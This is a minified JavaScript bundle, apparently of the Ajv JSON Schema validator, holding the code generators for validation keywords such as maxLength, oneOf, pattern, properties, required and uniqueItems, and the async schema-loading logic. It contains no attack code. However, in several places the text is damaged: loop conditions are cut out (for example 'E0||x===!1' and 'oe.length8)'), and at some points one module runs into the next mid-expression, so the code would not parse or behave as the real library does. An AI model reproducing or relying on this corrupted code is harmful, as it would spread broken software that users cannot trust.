0?(x=!0,_=b,u=e.errSchemaPath+"/"+b,m=p,v+="="):(T&&(m=Math[g?"min":"max"](p,o)),p===(T?m:!0)?(x=!0,_=b,u=e.errSchemaPath+"/"+b,v+="="):(x=!1,N+="="));var $="'"+N+"'";a+=" if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+d+" "+v+" "+m+" || "+d+" !== "+d+") { "}}_=_||r;var j=j||[];j.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(_||"_limit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { comparison: "+$+", limit: "+m+", exclusive: "+x+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be "+N+" ",f?a+="' + "+m:a+=""+m+"'"),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var q=a;return a=j.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+q+"]); ":a+=" validate.errors = ["+q+"]; return false; ":a+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { "),a}});var Pf=V((RW,Ww)=>{"use strict";Ww.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxItems"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+d+".length "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitItems")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have ",r=="maxItems"?a+="more":a+="fewer",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" items' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Of=V((PW,Kw)=>{"use strict";Kw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxLength"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),e.opts.unicode===!1?a+=" "+d+".length ":a+=" ucs2length("+d+") ",a+=" "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitLength")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be ",r=="maxLength"?a+="longer":a+="shorter",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" characters' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Cf=V((OW,Xw)=>{"use strict";Xw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxProperties"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" Object.keys("+d+").length "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitProperties")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have ",r=="maxProperties"?a+="more":a+="fewer",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" properties' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Yw=V((CW,Jw)=>{"use strict";Jw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");a+="var division"+s+";if (",f&&(a+=" "+m+" !== undefined && ( typeof "+m+" != 'number' || "),a+=" (division"+s+" = "+d+" / "+m+", ",e.opts.multipleOfPrecision?a+=" Math.abs(Math.round(division"+s+") - division"+s+") > 1e-"+e.opts.multipleOfPrecision+" ":a+=" division"+s+" !== parseInt(division"+s+") ",a+=" ) ",f&&(a+=" ) "),a+=" ) { ";var g=g||[];g.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'multipleOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { multipleOf: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be multiple of ",f?a+="' + "+m:a+=""+m+"'"),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var b=a;return a=g.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+b+"]); ":a+=" validate.errors = ["+b+"]; return false; ":a+=" var err = "+b+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var eS=V((IW,Qw)=>{"use strict";Qw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e);m.level++;var g="valid"+m.level;if(e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){m.schema=o,m.schemaPath=c,m.errSchemaPath=u,a+=" var "+f+" = errors; ";var b=e.compositeRule;e.compositeRule=m.compositeRule=!0,m.createErrors=!1;var p;m.opts.allErrors&&(p=m.opts.allErrors,m.opts.allErrors=!1),a+=" "+e.validate(m)+" ",m.createErrors=!0,p&&(m.opts.allErrors=p),e.compositeRule=m.compositeRule=b,a+=" if ("+g+") { ";var h=h||[];h.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be valid' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var y=a;a=h.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+y+"]); ":a+=" validate.errors = ["+y+"]; return false; ":a+=" var err = "+y+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { errors = "+f+"; if (vErrors !== null) { if ("+f+") vErrors.length = "+f+"; else vErrors = null; } ",e.opts.allErrors&&(a+=" } ")}else a+=" var err = ",e.createErrors!==!1?(a+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be valid' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",l&&(a+=" if (false) { ");return a}});var rS=V((AW,tS)=>{"use strict";tS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h=g.baseId,y="prevValid"+s,v="passingSchemas"+s;a+="var "+m+" = errors , "+y+" = false , "+f+" = false , "+v+" = null; ";var _=e.compositeRule;e.compositeRule=g.compositeRule=!0;var S=o;if(S)for(var x,E=-1,T=S.length-1;E0||x===!1:e.util.schemaHasRules(x,e.RULES.all))?(g.schema=x,g.schemaPath=c+"["+E+"]",g.errSchemaPath=u+"/"+E,a+=" "+e.validate(g)+" ",g.baseId=h):a+=" var "+p+" = true; ",E&&(a+=" if ("+p+" && "+y+") { "+f+" = false; "+v+" = ["+v+", "+E+"]; } else { ",b+="}"),a+=" if ("+p+") { "+f+" = "+y+" = true; "+v+" = "+E+"; }";return e.compositeRule=g.compositeRule=_,a+=""+b+"if (!"+f+") { var err = ",e.createErrors!==!1?(a+=" { keyword: 'oneOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { passingSchemas: "+v+" } ",e.opts.messages!==!1&&(a+=" , message: 'should match exactly one schema in oneOf' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&l&&(e.async?a+=" throw new ValidationError(vErrors); ":a+=" validate.errors = vErrors; return false; "),a+="} else { errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; }",e.opts.allErrors&&(a+=" } "),a}});var nS=V((NW,aS)=>{"use strict";aS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=f?"(new RegExp("+m+"))":e.usePattern(o);a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'string') || "),a+=" !"+g+".test("+d+") ) { ";var b=b||[];b.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'pattern' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { pattern: ",f?a+=""+m:a+=""+e.util.toQuotedString(o),a+=" } ",e.opts.messages!==!1&&(a+=` , message: 'should match pattern "`,f?a+="' + "+m+" + '":a+=""+e.util.escapeQuotes(o),a+=`"' `),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+e.util.toQuotedString(o),a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var p=a;return a=b.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+p+"]); ":a+=" validate.errors = ["+p+"]; return false; ":a+=" var err = "+p+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var iS=V((jW,sS)=>{"use strict";sS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level,p="key"+s,h="idx"+s,y=m.dataLevel=e.dataLevel+1,v="data"+y,_="dataProperties"+s,S=Object.keys(o||{}).filter(ne),x=e.schema.patternProperties||{},E=Object.keys(x).filter(ne),T=e.schema.additionalProperties,$=S.length||E.length,N=T===!1,j=typeof T=="object"&&Object.keys(T).length,q=e.opts.removeAdditional,H=N||j||q,A=e.opts.ownProperties,W=e.baseId,oe=e.schema.required;if(oe&&!(e.opts.$data&&oe.$data)&&oe.length8)a+=" || validate.schema"+c+".hasOwnProperty("+p+") ";else{var re=S;if(re)for(var F,R=-1,z=re.length-1;R0||Ie===!1:e.util.schemaHasRules(Ie,e.RULES.all)){var Ae=e.util.getProperty(F),C=d+Ae,Ne=G&&Ie.default!==void 0;m.schema=Ie,m.schemaPath=c+Ae,m.errSchemaPath=u+"/"+e.util.escapeFragment(F),m.errorPath=e.util.getPath(e.errorPath,F,e.opts.jsonPointers),m.dataPathArr[y]=e.util.toQuotedString(F);var L=e.validate(m);if(m.baseId=W,e.util.varOccurences(L,v)<2){L=e.util.varReplace(L,v,C);var ke=C}else{var ke=v;a+=" var "+v+" = "+C+"; "}if(Ne)a+=" "+L+" ";else{if(he&&he[F]){a+=" if ( "+ke+" === undefined ",A&&(a+=" || ! Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(F)+"') "),a+=") { "+b+" = false; ";var K=e.errorPath,de=u,pt=e.util.escapeQuotes(F);e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPath(K,F,e.opts.jsonPointers)),u=e.errSchemaPath+"/required";var se=se||[];se.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { missingProperty: '"+pt+"' } ",e.opts.messages!==!1&&(a+=" , message: '",e.opts._errorDataPathProperty?a+="is a required property":a+="should have required property \\'"+pt+"\\'",a+="' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var me=a;a=se.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+me+"]); ":a+=" validate.errors = ["+me+"]; return false; ":a+=" var err = "+me+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",u=de,e.errorPath=K,a+=" } else { "}else l?(a+=" if ( "+ke+" === undefined ",A&&(a+=" || ! Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(F)+"') "),a+=") { "+b+" = true; } else { "):(a+=" if ("+ke+" !== undefined ",A&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(F)+"') "),a+=" ) { ");a+=" "+L+" } "}}l&&(a+=" if ("+b+") { ",g+="}")}}if(E.length){var Le=E;if(Le)for(var w,fr=-1,Zt=Le.length-1;fr0||Ie===!1:e.util.schemaHasRules(Ie,e.RULES.all)){m.schema=Ie,m.schemaPath=e.schemaPath+".patternProperties"+e.util.getProperty(w),m.errSchemaPath=e.errSchemaPath+"/patternProperties/"+e.util.escapeFragment(w),A?a+=" "+_+" = "+_+" || Object.keys("+d+"); for (var "+h+"=0; "+h+"<"+_+".length; "+h+"++) { var "+p+" = "+_+"["+h+"]; ":a+=" for (var "+p+" in "+d+") { ",a+=" if ("+e.usePattern(w)+".test("+p+")) { ",m.errorPath=e.util.getPathExpr(e.errorPath,p,e.opts.jsonPointers);var C=d+"["+p+"]";m.dataPathArr[y]=p;var L=e.validate(m);m.baseId=W,e.util.varOccurences(L,v)<2?a+=" "+e.util.varReplace(L,v,C)+" ":a+=" var "+v+" = "+C+"; "+L+" ",l&&(a+=" if (!"+b+") break; "),a+=" } ",l&&(a+=" else "+b+" = true; "),a+=" } ",l&&(a+=" if ("+b+") { ",g+="}")}}}return l&&(a+=" "+g+" if ("+f+" == errors) {"),a}});var cS=V((MW,oS)=>{"use strict";oS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level;if(a+="var "+f+" = errors;",e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){m.schema=o,m.schemaPath=c,m.errSchemaPath=u;var p="key"+s,h="idx"+s,y="i"+s,v="' + "+p+" + '",_=m.dataLevel=e.dataLevel+1,S="data"+_,x="dataProperties"+s,E=e.opts.ownProperties,T=e.baseId;E&&(a+=" var "+x+" = undefined; "),E?a+=" "+x+" = "+x+" || Object.keys("+d+"); for (var "+h+"=0; "+h+"<"+x+".length; "+h+"++) { var "+p+" = "+x+"["+h+"]; ":a+=" for (var "+p+" in "+d+") { ",a+=" var startErrs"+s+" = errors; ";var $=p,N=e.compositeRule;e.compositeRule=m.compositeRule=!0;var j=e.validate(m);m.baseId=T,e.util.varOccurences(j,S)<2?a+=" "+e.util.varReplace(j,S,$)+" ":a+=" var "+S+" = "+$+"; "+j+" ",e.compositeRule=m.compositeRule=N,a+=" if (!"+b+") { for (var "+y+"=startErrs"+s+"; "+y+"{"use strict";uS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o;var b="schema"+s;if(!m)if(o.length0||S===!1:e.util.schemaHasRules(S,e.RULES.all))||(p[p.length]=y)}}else var p=o;if(m||p.length){var x=e.errorPath,E=m||p.length>=e.opts.loopRequired,T=e.opts.ownProperties;if(l)if(a+=" var missing"+s+"; ",E){m||(a+=" var "+b+" = validate.schema"+c+"; ");var $="i"+s,N="schema"+s+"["+$+"]",j="' + "+N+" + '";e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPathExpr(x,N,e.opts.jsonPointers)),a+=" var "+f+" = true; ",m&&(a+=" if (schema"+s+" === undefined) "+f+" = true; else if (!Array.isArray(schema"+s+")) "+f+" = false; else {"),a+=" for (var "+$+" = 0; "+$+" < "+b+".length; "+$+"++) { "+f+" = "+d+"["+b+"["+$+"]] !== undefined ",T&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", "+b+"["+$+"]) "),a+="; if (!"+f+") break; } ",m&&(a+=" } "),a+=" if (!"+f+") { ";var q=q||[];q.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { missingProperty: '"+j+"' } ",e.opts.messages!==!1&&(a+=" , message: '",e.opts._errorDataPathProperty?a+="is a required property":a+="should have required property \\'"+j+"\\'",a+="' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var H=a;a=q.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+H+"]); ":a+=" validate.errors = ["+H+"]; return false; ":a+=" var err = "+H+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { "}else{a+=" if ( ";var A=p;if(A)for(var W,$=-1,oe=A.length-1;${"use strict";dS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;if(m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o,(o||m)&&e.opts.uniqueItems!==!1){m&&(a+=" var "+f+"; if ("+g+" === false || "+g+" === undefined) "+f+" = true; else if (typeof "+g+" != 'boolean') "+f+" = false; else { "),a+=" var i = "+d+".length , "+f+" = true , j; if (i > 1) { ";var b=e.schema.items&&e.schema.items.type,p=Array.isArray(b);if(!b||b=="object"||b=="array"||p&&(b.indexOf("object")>=0||b.indexOf("array")>=0))a+=" outer: for (;i--;) { for (j = i; j--;) { if (equal("+d+"[i], "+d+"[j])) { "+f+" = false; break outer; } } } ";else{a+=" var itemIndices = {}, item; for (;i--;) { var item = "+d+"[i]; ";var h="checkDataType"+(p?"s":"");a+=" if ("+e.util[h](b,"item",e.opts.strictNumbers,!0)+") continue; ",p&&(a+=` if (typeof item == 'string') item = '"' + item; `),a+=" if (typeof itemIndices[item] == 'number') { "+f+" = false; j = itemIndices[item]; break; } itemIndices[item] = i; } "}a+=" } ",m&&(a+=" } "),a+=" if (!"+f+") { ";var y=y||[];y.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'uniqueItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { i: i, j: j } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have duplicate items (items ## ' + j + ' and ' + i + ' are identical)' "),e.opts.verbose&&(a+=" , schema: ",m?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var v=a;a=y.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+v+"]); ":a+=" validate.errors = ["+v+"]; return false; ":a+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { ")}else l&&(a+=" if (true) { ");return a}});var mS=V((LW,fS)=>{"use strict";fS.exports={$ref:kw(),allOf:Rw(),anyOf:Ow(),$comment:Iw(),const:Nw(),contains:Mw(),dependencies:qw(),enum:Fw(),format:Uw(),if:Bw(),items:Zw(),maximum:Rf(),minimum:Rf(),maxItems:Pf(),minItems:Pf(),maxLength:Of(),minLength:Of(),maxProperties:Cf(),minProperties:Cf(),multipleOf:Yw(),not:eS(),oneOf:rS(),pattern:nS(),properties:iS(),propertyNames:cS(),required:lS(),uniqueItems:pS(),validate:kf()}});var gS=V((FW,vS)=>{"use strict";var hS=mS(),If=On().toHash;vS.exports=function(){var e=[{type:"number",rules:[{maximum:["exclusiveMaximum"]},{minimum:["exclusiveMinimum"]},"multipleOf","format"]},{type:"string",rules:["maxLength","minLength","pattern","format"]},{type:"array",rules:["maxItems","minItems","items","contains","uniqueItems"]},{type:"object",rules:["maxProperties","minProperties","required","dependencies","propertyNames",{properties:["additionalProperties","patternProperties"]}]},{rules:["$ref","const","enum","not","anyOf","oneOf","allOf","if"]}],r=["type","$comment"],n=["$schema","$id","id","$data","$async","title","description","default","definitions","examples","readOnly","writeOnly","contentMediaType","contentEncoding","additionalItems","then","else"],a=["number","integer","string","array","object","boolean","null"];return e.all=If(r),e.types=If(a),e.forEach(function(s){s.rules=s.rules.map(function(i){var o;if(typeof i=="object"){var c=Object.keys(i)[0];o=i[c],i=c,o.forEach(function(l){r.push(l),e.all[l]=!0})}r.push(i);var u=e.all[i]={keyword:i,code:hS[i],implements:o};return u}),e.all.$comment={keyword:"$comment",code:hS.$comment},s.type&&(e.types[s.type]=s)}),e.keywords=If(r.concat(n)),e.custom={},e}});var bS=V((zW,_S)=>{"use strict";var yS=["multipleOf","maximum","exclusiveMaximum","minimum","exclusiveMinimum","maxLength","minLength","pattern","additionalItems","maxItems","minItems","uniqueItems","maxProperties","minProperties","required","additionalProperties","enum","format","const"];_S.exports=function(t,e){for(var r=0;r{"use strict";var q8=_u().MissingRef;wS.exports=xS;function xS(t,e,r){var n=this;if(typeof this._opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");typeof e=="function"&&(r=e,e=void 0);var a=s(t).then(function(){var o=n._addSchema(t,void 0,e);return o.validate||i(o)});return r&&a.then(function(o){r(null,o)},r),a;function s(o){var c=o.$schema;return c&&!n.getSchema(c)?xS.call(n,{$ref:c},!0):Promise.resolve()}function i(o){try{return n._compile(o)}catch(u){if(u instanceof q8)return c(u);throw u}function c(u){var l=u.missingSchema;if(m(l))throw new Error("Schema "+l+" is loaded but "+u.missingRef+" cannot be resolved");var d=n._loadingSchemas[l];return d||(d=n._loadingSchemas[l]=n._opts.loadSchema(l),d.then(f,f)),d.then(function(g){if(!m(l))return s(g).then(function(){m(l)||n.addSchema(g,l,void 0,e)})}).then(function(){return i(o)});function f(){delete n._loadingSchemas[l]}function m(g){return n._refs[g]||n._schemas[g]}}}}});var TS=V((HW,ES)=>{"use strict";ES.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d,f="data"+(i||""),m="valid"+s,g="errs__"+s,b=e.opts.$data&&o&&o.$data,p;b?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",p="schema"+s):p=o;var h=this,y="definition"+s,v=h.definition,_="",S,x,E,T,$;if(b&&v.$data){$="keywordValidate"+s;var N=v.validateSchema;a+=" var "+y+" = RULES.custom['"+r+"'].definition; var "+$+" = "+y+".validate;"}else{if(T=e.useCustomRule(h,o,e.schema,e),!T)return;p="validate.schema"+c,$=T.code,S=v.compile,x=v.inline,E=v.macro}var j=$+".errors",q="i"+s,H="ruleErr"+s,A=v.async;if(A&&!e.async)throw new Error("async keyword in sync schema");if(x||E||(a+=""+j+" = null;"),a+="var "+g+" = errors;var "+m+";",b&&v.$data&&(_+="}",a+=" if ("+p+" === undefined) { "+m+" = true; } else { ",N&&(_+="}",a+=" "+m+" = "+y+".validateSchema("+p+"); if ("+m+") { ")),x)v.statements?a+=" "+T.validate+" ":a+=" "+m+" = "+T.validate+"; ";else if(E){var W=e.util.copy(e),_="";W.level++;var oe="valid"+W.level;W.schema=T.validate,W.schemaPath="";var he=e.compositeRule;e.compositeRule=W.compositeRule=!0;var ne=e.validate(W).replace(/validate\.schema/g,$);e.compositeRule=W.compositeRule=he,a+=" "+ne}else{var re=re||[];re.push(a),a="",a+=" "+$+".call( ",e.opts.passContext?a+="this":a+="self",S||v.schema===!1?a+=" , "+f+" ":a+=" , "+p+" , "+f+" , validate.schema"+e.schemaPath+" ",a+=" , (dataPath || '')",e.errorPath!='""'&&(a+=" + "+e.errorPath);var F=i?"data"+(i-1||""):"parentData",R=i?e.dataPathArr[i]:"parentDataProperty";a+=" , "+F+" , "+R+" , rootData ) ";var z=a;a=re.pop(),v.errors===!1?(a+=" "+m+" = ",A&&(a+="await "),a+=""+z+"; "):A?(j="customErrors"+s,a+=" var "+j+" = null; try { "+m+" = await "+z+"; } catch (e) { "+m+" = false; if (e instanceof ValidationError) "+j+" = e.errors; else throw e; } "):a+=" "+j+" = null; "+m+" = "+z+"; "}if(v.modifying&&(a+=" if ("+F+") "+f+" = "+F+"["+R+"];"),a+=""+_,v.valid)l&&(a+=" if (true) { ");else{a+=" if ( ",v.valid===void 0?(a+=" !",E?a+=""+oe:a+=""+m):a+=" "+!v.valid+" ",a+=") { ",d=h.keyword;var re=re||[];re.push(a),a="";var re=re||[];re.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(d||"custom")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { keyword: '"+h.keyword+"' } ",e.opts.messages!==!1&&(a+=` , message: 'should pass "`+h.keyword+`" keyword validation' `),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+f+" "),a+=" } "):a+=" {} ";var I=a;a=re.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+I+"]); ":a+=" validate.errors = ["+I+"]; return false; ":a+=" var err = "+I+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ";var w=a;a=re.pop(),x?v.errors?v.errors!="full"&&(a+=" for (var "+q+"="+g+"; "+q+"{L8.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema 